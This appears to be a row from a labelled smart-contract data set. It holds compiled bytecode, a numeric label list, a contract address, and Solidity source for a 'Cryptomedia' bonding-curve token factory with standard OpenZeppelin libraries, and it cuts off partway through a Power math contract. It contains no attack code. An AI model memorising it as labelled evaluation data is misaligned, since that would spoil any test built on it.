485106138b1575050506138c7565b50505080806138bf906151a5565b9150506135c2565b5060648110156139da5760006138de82606461518e565b6001600160a01b03871660009081526001602090815260408083208984526006908101909252822001549192509060649061391a90849061516f565b613924919061514f565b6001600160a01b0380891660009081526001602090815260408083208b84526006019091528082205490519394509091169183156108fc0291849190818181858888f1935050505015801561397d573d6000803e3d6000fd5b506001600160a01b0380881660008181526001602081815260408084208c8552600601909152918290205491519190931692899291600080516020615213833981519152916139cf9187918991615109565b60405180910390a450505b50613a99565b6001600160a01b03848116600090815260016020908152604080832087845260069081019092528083209182015491549051919316916108fc841502918491818181858888f19350505050158015613a3c573d6000803e3d6000fd5b506001600160a01b0380861660008181526001602081815260408084208a855260060190915291829020549151919093169287929160008051602061521383398151915291613a8f918791606491615109565b60405180910390a4505b6001600160a01b0384166000908152600160208181526040808420878552600681018352908420600201805460ff19168417905582825260070180549283018155835290912001839055614279565b6001600160a01b038416600090815260016020908152604080832086845260060190915281206004015415801590613b4a57506001600160a01b0385811660009081526001602090815260408083208884526006019091529020600301541615155b15613c62576001600160a01b0385166000908152600160209081526040808320878452600690810190925282206004810154910154606491613b8b9161516f565b613b95919061514f565b90508015613c01576001600160a01b038681166000908152600160209081526040808320898452600601909152808220600481015460039091015491519095509216916108fc84150291849190818181858888f19350505050158015613bff573d6000803e3d6000fd5b505b6001600160a01b0386811660008181526001602090815260408083208a84526006019091528082206003810154600490910154915194169389939260008051602061521383398151915292613c5892889290615109565b60405180910390a4505b6001600160a01b03851660009081526001602052604080822090516343ec8fc560e11b815273ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a91613cb391600301906004016150bc565b60206040518083038186803b158015613ccb57600080fd5b505af4158015613cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d03919061491f565b11156141705760005b6001600160a01b0386166000908152600160205260409081902090516343ec8fc560e11b815273ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a91613d5e91600301906004016150bc565b60206040518083038186803b158015613d7657600080fd5b505af4158015613d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613dae919061491f565b81101561405a576001600160a01b0386166000908152600160205260408082209051636ad22f5160e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491636ad22f5191613e08916003019086906004016150fb565b60206040518083038186803b158015613e2057600080fd5b505af4158015613e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e5891906143ad565b6001600160a01b03881660009081526001602090815260408083208a845260060190915281206004015491925090613e929060649061514f565b6001600160a01b038916600090815260016020526040908190209051637bbd13b960e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491637bbd13b991613ee6916003019087906004016150c5565b60206040518083038186803b158015613efe57600080fd5b505af4158015613f12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f36919061491f565b613f40919061518e565b90506064613f4e8286615137565b1115613f6d576064613f608286615137565b613f6a919061518e565b90505b6001600160a01b03881660009081526001602090815260408083208a8452600690810190925282200154606490613fa590849061516f565b613faf919061514f565b6040519091506001600160a01b0384169082156108fc029083906000818181858888f19350505050158015613fe8573d6000803e3d6000fd5b50826001600160a01b0316888a6001600160a01b03166000805160206152138339815191528486600060405161402093929190615109565b60405180910390a46140328286615137565b9450606485106140445750505061405a565b5050508080614052906151a5565b915050613d0c565b50606481101561416b57600061407182606461518e565b6001600160a01b0387166000908152600160209081526040808320898452600690810190925282200154919250906064906140ad90849061516f565b6140b7919061514f565b6001600160a01b0380891660009081526001602090815260408083208b84526006019091528082205490519394509091169183156108fc0291849190818181858888f19350505050158015614110573d6000803e3d6000fd5b506001600160a01b0380881660008181526001602090815260408083208b845260060190915280822054905193169289929160008051602061521383398151915291614160918791899190615109565b60405180910390a450505b614277565b600061417d82606461518e565b6001600160a01b0387166000908152600160209081526040808320898452600690810190925282200154919250906064906141b990849061516f565b6141c3919061514f565b6001600160a01b0380891660009081526001602090815260408083208b84526006019091528082205490519394509091169183156108fc0291849190818181858888f1935050505015801561421c573d6000803e3d6000fd5b506001600160a01b0380881660008181526001602090815260408083208b84526006019091528082205490519316928992916000805160206152138339815191529161426c918791899190615109565b60405180910390a450505b505b6001600160a01b038481166000818152600160209081526040808320888452600690810190925291829020805460058201549190920154925188957f44bf0575c1bd47c17bcaf2e7edce9ced0410ce232bbdefdc59b7d8cc20f7a9d3946142e69482169390911691614965565b60405180910390a350506001600160a01b0391821660009081526001602081815260408084209484526006948501909152822060058101805482549681166001600160a01b031997881617835582840185905595909516909455929091015590565b60008083601f840112614359578182fd5b50813567ffffffffffffffff811115614370578182fd5b602083019150836020808302850101111561438a57600080fd5b9250929050565b6000602082840312156143a2578081fd5b8135610589816151ec565b6000602082840312156143be578081fd5b8151610589816151ec565b6000806000606084860312156143dd578182fd5b83356143e8816151ec565b925060208401356143f8816151ec565b9150604084013561440881615204565b809150509250925092565b60008060008060808587031215614428578081fd5b8435614433816151ec565b93506020850135614443816151ec565b925060408501359150606085013561445a81615204565b939692955090935050565b6000806000806080858703121561447a578384fd5b8435614485816151ec565b9350602085810135614496816151ec565b935060408601359250606086013567ffffffffffffffff808211156144b9578384fd5b818801915088601f8301126144cc578384fd5b8135818111156144de576144de6151d6565b604051601f8201601f1916810185018381118282101715614501576145016151d6565b60405281815283820185018b1015614517578586fd5b81858501868301379081019093019390935250939692955090935050565b6000806000806000806080878903121561454d578182fd5b8635614558816151ec565b9550602087013567ffffffffffffffff80821115614574578384fd5b6145808a838b01614348565b90975095506040890135915080821115614598578384fd5b506145a589828a01614348565b90945092505060608701356145b981615204565b809150509295509295509295565b60008060008060008060008060c0898b0312156145e2578182fd5b88356145ed816151ec565b9750602089013567ffffffffffffffff80821115614609578384fd5b6146158c838d01614348565b909950975060408b013591508082111561462d578384fd5b5061463a8b828c01614348565b909650945050606089013561464e81615204565b979a969950949793969295929450505060808201359160a0013590565b60008060006040848603121561467f578283fd5b833561468a816151ec565b9250602084013567ffffffffffffffff8111156146a5578283fd5b6146b186828701614348565b9497909650939450505050565b6000806000806000608086880312156146d5578283fd5b85356146e0816151ec565b9450602086013567ffffffffffffffff8111156146fb578384fd5b61470788828901614348565b909550935050604086013561471b81615204565b949793965091946060013592915050565b60008060008060608587031215614741578182fd5b843561474c816151ec565b9350602085013567ffffffffffffffff811115614767578283fd5b61477387828801614348565b9598909750949560400135949350505050565b60008060008060006080868803121561479d578283fd5b85356147a8816151ec565b9450602086013567ffffffffffffffff8111156147c3578384fd5b6147cf88828901614348565b9699909850959660408101359660609091013595509350505050565b600080604083850312156147fd578182fd5b8235614808816151ec565b9150602083013561481881615204565b809150509250929050565b60008060408385031215614835578182fd5b8235614840816151ec565b946020939093013593505050565b60008060008060808587031215614863578182fd5b843561486e816151ec565b935060208501359250604085013561488581615204565b9396929550929360600135925050565b6000806000606084860312156148a9578081fd5b83356148b4816151ec565b95602085013595506040909401359392505050565b600080600080608085870312156148de578182fd5b84356148e9816151ec565b966020860135965060408601359560600135945092505050565b600060208284031215614914578081fd5b815161058981615204565b600060208284031215614930578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6020808252825182820181905260009190848201906040850190845b818110156149ca5783516001600160a01b0316835292840192918401916001016149a5565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156149ca578351835292840192918401916001016149f2565b901515815260200190565b6001600160e01b031991909116815260200190565b60208082526019908201527f43616e6e6f74207365742063726561746f722073686172652e00000000000000604082015260600190565b60208082526015908201527414d95b99195c881b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b602080825260169082015275109d5e595c881a185cc81b9bdd08195cd8dc9bddd95960521b604082015260600190565b60208082526026908201527f546f74616c20726576656e75652073706c69742063616e6e6f7420657863656560408201526564203130302560d01b606082015260800190565b60208082526036908201527f5374616b65686f6c646572207368617265206d757374206265206174206c6561604082015275737420302520616e64206174206d6f7374203130302560501b606082015260800190565b60208082526044908201527f4d75737420617070726f76652052616420526f7574657220617320616e206f7060408201527f657261746f72206265666f72652073657474696e67206d696e696d756d20707260608201526334b1b29760e11b608082015260a00190565b60208082526044908201527f43726561746f722073686172652063616e6e6f742065786365656420746f746160408201527f6c206c6564676572207374616b65686f6c646572207768656e206974206973206060820152631898181760e11b608082015260a00190565b60208082526026908201527f5374616b65686f6c6465722063616e6e6f7420626520746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526035908201527f6d73672e73656e646572206d757374206265207468652062757965722c207365604082015274363632b9161037b9102930b21037b832b930ba37b960591b606082015260800190565b60208082526044908201527f4f6e6c7920746865206173736574206f776e6572206f72205261642061646d6960408201527f6e6973747261746f722063616e206368616e6765206173736574206f776e65726060820152630736869760e41b608082015260a00190565b6020808252602e908201527f5374616b65686f6c6465727320616e6420736861726573206d7573742068617660408201526d0ca40cae2eac2d840d8cadccee8d60931b606082015260800190565b6020808252604e908201527f4d757374207365742052616420526f7574657220617320616e206f706572617460408201527f6f7220666f7220616c6c20617373657473206265666f7265206465706f73697460608201526d34b733903a379032b9b1b937bb9760911b608082015260a00190565b60208082526027908201527f4173736574206c65646765722063616e6e6f7420626520746865207a65726f206040820152666164647265737360c81b606082015260800190565b60208082526026908201527f43616e6e6f742073706c697420726576656e7565206d6f7265207468616e2035604082015265103bb0bcb99760d11b606082015260800190565b60208082526032908201527f43726561746f72207368617265206d757374206265206174206c6561737420306040820152712520616e64206174206d6f7374203130302560701b606082015260800190565b6020808252604d908201527f4d757374207365742052616420526f7574657220617320616e206f706572617460408201527f6f7220666f7220616c6c20617373657473206265666f7265206465706f73697460608201526c696e6720746f20657363726f7760981b608082015260a00190565b6020808252601d908201527f427579657220646964206e6f742073656e6420656e6f75676820455448000000604082015260600190565b60208082526017908201527f53656c6c657220686173206e6f7420657363726f776564000000000000000000604082015260600190565b60208082526030908201527f427579657220657363726f7720616d6f756e74206973206c657373207468616e60408201526f206173736574206d696e20707269636560801b606082015260800190565b60208082526022908201527f416e6f746865722062757965722068617320616c726561647920657363726f77604082015261195960f21b606082015260800190565b60208082526049908201527f4f6e6c7920746865206173736574206f776e6572206f72205261642061646d6960408201527f6e6973747261746f722063616e2073657420746865206173736574206d696e696060820152686d756d20707269636560b81b608082015260a00190565b90815260200190565b9182526001600160a01b0316602082015260400190565b9283526001600160a01b03919091166020830152604082015260600190565b918252602082015260400190565b92835260208301919091521515604082015260600190565b9283526020830191909152604082015260600190565b6000821982111561514a5761514a6151c0565b500190565b60008261516a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615615189576151896151c0565b500290565b6000828210156151a0576151a06151c0565b500390565b60006000198214156151b9576151b96151c0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461520157600080fd5b50565b801515811461520157600080fdfe6395c8479b377ec63ef3259a94f88f128e716993ee01a9e56048ed69757b64cfa26469706673582212208924e0c337248566b52c19cd9ba594d2a38a4e5915b6389c123b5d204dcc61f264736f6c63430008000033 | [
13,
19
] |
0xf346Ca60790C40BAB2C738eff3652a34d5EC4FA8 | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./Cryptomedia.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
/**
* @title Cryptomedia Factory
* @author neuroswish
*
* Factory for deploying cryptomedia
*
* Good morning
* Look at the valedictorian
* Scared of the future while I hop in the DeLorean
*
*/
contract CryptomediaFactory {
// ======== Storage ========
address public logic;
address public bondingCurve;
// ======== Events ========
event CryptomediaDeployed(
address contractAddress,
address indexed creator,
string metadataURI,
string name,
string symbol,
uint256 reservedTokens,
address bondingCurve
);
// ======== Constructor ========
constructor(address _bondingCurve) {
bondingCurve = _bondingCurve;
Cryptomedia _cryptomediaLogic = new Cryptomedia();
_cryptomediaLogic.initialize(
address(this),
"Verse",
"VERSE",
"",
bondingCurve,
0
);
logic = address(_cryptomediaLogic);
}
// ======== Deploy contract ========
function createCryptomedia(
string calldata _tokenName,
string calldata _tokenSymbol,
string calldata _metadataURI,
uint256 _reservedTokens
) external returns (address cryptomedia) {
require(
bytes(_metadataURI).length != 0,
"Cryptomedia: metadata URI must be non-empty"
);
cryptomedia = Clones.clone(logic);
Cryptomedia(cryptomedia).initialize(
msg.sender,
_tokenName,
_tokenSymbol,
_metadataURI,
bondingCurve,
_reservedTokens
);
emit CryptomediaDeployed(
cryptomedia,
msg.sender,
_metadataURI,
_tokenName,
_tokenSymbol,
_reservedTokens,
bondingCurve
);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "./BondingCurve.sol";
import "./interfaces/IBondingCurve.sol";
/**
* @title Cryptomedia
* @author neuroswish
*
* Cryptomedia
*
* I just needed time alone with my own thoughts
* Got treasures in my mind, but couldn't open up my own vault
*
*/
contract Cryptomedia is ReentrancyGuard, Initializable {
// ======== Interface addresses ========
address public factory; // factory address
address public bondingCurve; // bonding curve interface address
// ======== Continuous token params ========
address public creator; // cryptomedia creator
string public name; // cryptomedia name
string public symbol; // cryptomedia symbol
string public metadataURI; // cryptomedia metadata URI
uint32 public reserveRatio; // reserve ratio in ppm
uint32 public ppm; // token units
uint256 public poolBalance; // ETH balance in contract pool
uint256 public totalSupply; // total supply of tokens in circulation
mapping(address => uint256) public balanceOf; // mapping of an address to that user's total token balance
mapping(address => mapping(address => uint256)) public allowance; // transfer allowance
// ======== Events ========
event Buy(
address indexed buyer,
uint256 poolBalance,
uint256 totalSupply,
uint256 tokens,
uint256 price
);
event Sell(
address indexed seller,
uint256 poolBalance,
uint256 totalSupply,
uint256 tokens,
uint256 eth
);
event MetadataUpdated(string metadataURI);
// ERC-20
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
// ======== Modifiers ========
/**
* @notice Check to see if address holds tokens
*/
modifier holder() {
require(balanceOf[msg.sender] > 0, "Must hold tokens");
_;
}
/**
* @notice Check to see if address holds tokens
*/
modifier onlyCreator() {
require(msg.sender == creator, "Must be creator");
_;
}
// ======== Initializer for new market proxy ========
/**
* @notice Initialize a new market
* @dev Sets reserveRatio, ppm, fee, name, and bondingCurve address; called by factory at time of deployment
*/
function initialize(
address _creator,
string calldata _name,
string calldata _symbol,
string calldata _metadataURI,
address _bondingCurve,
uint256 _reservedTokens
) external initializer {
reserveRatio = 333333;
ppm = 1000000;
name = _name;
symbol = _symbol;
bondingCurve = _bondingCurve;
creator = _creator;
metadataURI = _metadataURI;
// creator can specify a number of tokens to reserve upon supply initialization
_mint(creator, _reservedTokens);
}
// ======== Functions ========
/**
* @notice Buy market tokens with ETH
* @dev Emits a Buy event upon success; callable by anyone
*/
function buy(uint256 _price, uint256 _minTokensReturned) external payable {
require(msg.value == _price && msg.value > 0, "Invalid price");
require(_minTokensReturned > 0, "Invalid slippage");
// calculate tokens returned
uint256 tokensReturned;
if (totalSupply == 0 || poolBalance == 0) {
tokensReturned = IBondingCurve(bondingCurve)
.calculateInitializationReturn(_price, reserveRatio);
} else {
tokensReturned = IBondingCurve(bondingCurve)
.calculatePurchaseReturn(
totalSupply,
poolBalance,
reserveRatio,
_price
);
}
require(tokensReturned >= _minTokensReturned, "Slippage");
// mint tokens for buyer
_mint(msg.sender, tokensReturned);
poolBalance += _price;
emit Buy(msg.sender, poolBalance, totalSupply, tokensReturned, _price);
}
/**
* @notice Sell market tokens for ETH
* @dev Emits a Sell event upon success; callable by token holders
*/
function sell(uint256 _tokens, uint256 _minETHReturned)
external
holder
nonReentrant
{
require(
_tokens > 0 && _tokens <= balanceOf[msg.sender],
"Invalid token amount"
);
require(poolBalance > 0, "Insufficient pool balance");
require(_minETHReturned > 0, "Invalid slippage");
// calculate ETH returned
uint256 ethReturned = IBondingCurve(bondingCurve).calculateSaleReturn(
totalSupply,
poolBalance,
reserveRatio,
_tokens
);
require(ethReturned >= _minETHReturned, "Slippage");
// burn tokens
_burn(msg.sender, _tokens);
poolBalance -= ethReturned;
sendValue(payable(msg.sender), ethReturned);
emit Sell(msg.sender, poolBalance, totalSupply, _tokens, ethReturned);
}
// ============ Metadata ============
/**
* @notice Enable creator to update the cryptomedia URI
* @dev Only callable by creator
*/
function updateMetadataURI(string memory _metadataURI) public onlyCreator {
metadataURI = _metadataURI;
}
// ============ Utility ============
/**
* @notice Send ETH in a safe manner
* @dev Prevents reentrancy, emits a Transfer event upon success
*/
function sendValue(address recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Invalid amount");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = payable(recipient).call{value: amount}("Reverted");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
// ============ ERC-20 ============
/**
* @notice Mints tokens
* @dev Emits a Transfer event upon success
*/
function _mint(address _to, uint256 _value) internal {
totalSupply += _value;
balanceOf[_to] += _value;
emit Transfer(address(0), _to, _value);
}
/**
* @notice Burns tokens
* @dev Emits a Transfer event upon success
*/
function _burn(address _from, uint256 _value) internal {
balanceOf[_from] -= _value;
totalSupply -= _value;
emit Transfer(_from, address(0), _value);
}
/**
* @notice Approve token allowance
* @dev Emits an Approval event upon success
*/
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @notice Transfer tokens
* @dev Emits a Transfer event upon success
*/
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = allowance[sender][msg.sender];
require(
currentAllowance >= amount,
"Transfer amount exceeds allowance"
);
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/**
* @title Bonding Curve
* @author neuroswish
*
* Bonding curve functions managing the purchase and sale of continuous tokens
*
* Listen to the kids, bro
*
*/
import "./Power.sol";
contract BondingCurve is Power {
uint32 public constant maxRatio = 1000000;
uint256 public constant slopeFactor = 100000;
/**
* @dev given total supply, pool balance, reserve ratio and a price, calculates the number of tokens returned
*
* Formula:
* return = _supply * ((1 + _price / _poolBalance) ^ (_reserveRatio / maxRatio) - 1)
*
* @param _supply liquid token supply
* @param _poolBalance pool balance
* @param _reserveRatio reserve weight, represented in ppm (1-1000000)
* @param _price ETH
*
* @return tokens
*/
function calculatePurchaseReturn(
uint256 _supply,
uint256 _poolBalance,
uint32 _reserveRatio,
uint256 _price
) public view returns (uint256) {
// validate input
require(_supply > 0, "INVALID SUPPLY");
require(_poolBalance > 0, "INVALID POOL BALANCE");
// calculate result
(uint256 result, uint8 precision) = power(
(_price + _poolBalance),
_poolBalance,
_reserveRatio,
maxRatio
);
uint256 temp = (_supply * result) >> precision;
return (temp - _supply);
}
/**
* @dev given total supply, pool balance, reserve ratio and desired number of tokens, calculates the price required
*
* Formula:
* return = _poolBalance * ((1 + _tokens / _supply) ^ (maxRatio / reserveRatio) - 1)
*
* @param _supply liquid token supply
* @param _poolBalance reserve balance
* @param _reserveRatio reserve weight, represented in ppm (1-1000000)
* @param _tokens amount of reserve tokens to get the target amount for
*
* @return ETH
*/
function calculatePrice(
uint256 _supply,
uint256 _poolBalance,
uint32 _reserveRatio,
uint256 _tokens
) public view returns (uint256) {
(uint256 result, uint8 precision) = power(
(_tokens + _supply),
_supply,
maxRatio,
_reserveRatio
);
uint256 temp = (_poolBalance * result) >> precision;
return (temp - _poolBalance);
}
/**
* @dev given total supply, pool balance, reserve ratio and a token amount, calculates the amount of ETH returned
*
* Formula:
* return = _poolBalance * (1 - (1 - _tokens / _supply) ^ (maxRatio / _reserveRatio))
*
* @param _supply liquid token supply
* @param _poolBalance reserve balance
* @param _reserveRatio reserve weight, represented in ppm (1-1000000)
* @param _tokens amount of liquid tokens to get the target amount for
*
* @return ETH
*/
function calculateSaleReturn(
uint256 _supply,
uint256 _poolBalance,
uint32 _reserveRatio,
uint256 _tokens
) public view returns (uint256) {
// validate input
require(_supply > 0, "INVALID SUPPLY");
require(_poolBalance > 0, "INVALID SUPPLY");
// edge case for selling entire supply
if (_tokens == _supply) {
return _poolBalance;
}
(uint256 result, uint8 precision) = power(
_supply,
(_supply - _tokens),
maxRatio,
_reserveRatio
);
return ((_poolBalance * result) - (_poolBalance << precision)) / result;
}
/**
* @dev given a price, reserve ratio, and slope factor, calculates the number of tokens returned when initializing the bonding curve supply
*
* Formula:
* return = (_price / (_reserveRatio * _slopeFactor)) ** _reserveRatio
*
* @param _price liquid token supply
* @param _reserveRatio reserve weight, represented in ppm (1-1000000)
*
* @return initial token amount
*/
function calculateInitializationReturn(uint256 _price, uint32 _reserveRatio)
public
view
returns (uint256)
{
if (_reserveRatio == maxRatio) {
return (_price * slopeFactor);
}
(uint256 temp, uint256 precision) = powerInitial(
(_price * slopeFactor),
_reserveRatio,
maxRatio,
_reserveRatio,
maxRatio
);
return (temp >> precision);
}
/**
* @dev given a reserve ratio and slope factor, calculates the number of price required to purchase the first token when initializing the bonding curve supply
*
* Formula:
* price = (_reserveRatio * slopeFactor) / maxRatio
*
* @param _reserveRatio reserve weight, represented in ppm (1-1000000)
*
* @return initial token price
*/
function calculateInitializationPrice(uint32 _reserveRatio)
public
pure
returns (uint256)
{
if (_reserveRatio == maxRatio) {
return (slopeFactor);
}
return ((_reserveRatio * slopeFactor) / maxRatio);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
interface IBondingCurve {
function calculateInitializationReturn(uint256 _price, uint32 _reserveRatio)
external
view
returns (uint256);
function calculateInitializationPrice(uint32 _reserveRatio)
external
pure
returns (uint256);
function calculatePurchaseReturn(
uint256 _supply,
uint256 _poolBalance,
uint32 _reserveRatio,
uint256 _price
) external returns (uint256);
function calculatePrice(
uint256 _supply,
uint256 _poolBalance,
uint32 _reserveRatio,
uint256 _tokens
) external returns (uint256);
function calculateSaleReturn(
uint256 _supply,
uint256 _poolBalance,
uint32 _reserveRatio,
uint256 _tokens
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/**
* @title Power
*
* Functions to calculate fractional exponents
*
* Four in the mornin', and I'm zonin'
* They say I'm possessed, it's an omen
*
*/
contract Power {
uint256 private constant ONE = 1;
uint32 private constant MAX_WEIGHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x200000000000000000000000000000000;
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR =
0x5b9de1d10bf4103d647b0955897ba80;
uint256 private constant OPT_LOG_MAX_VAL =
0x15bf0a8b1457695355fb8ac404e7a79e3;
uint256 private constant OPT_EXP_MAX_VAL =
0x800000000000000000000000000000000;
uint256[128] private maxExpArray;
function initMaxExpArray() public {
maxExpArray[32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[43] = 0x11c592761c666fffffffffffffffffffff;
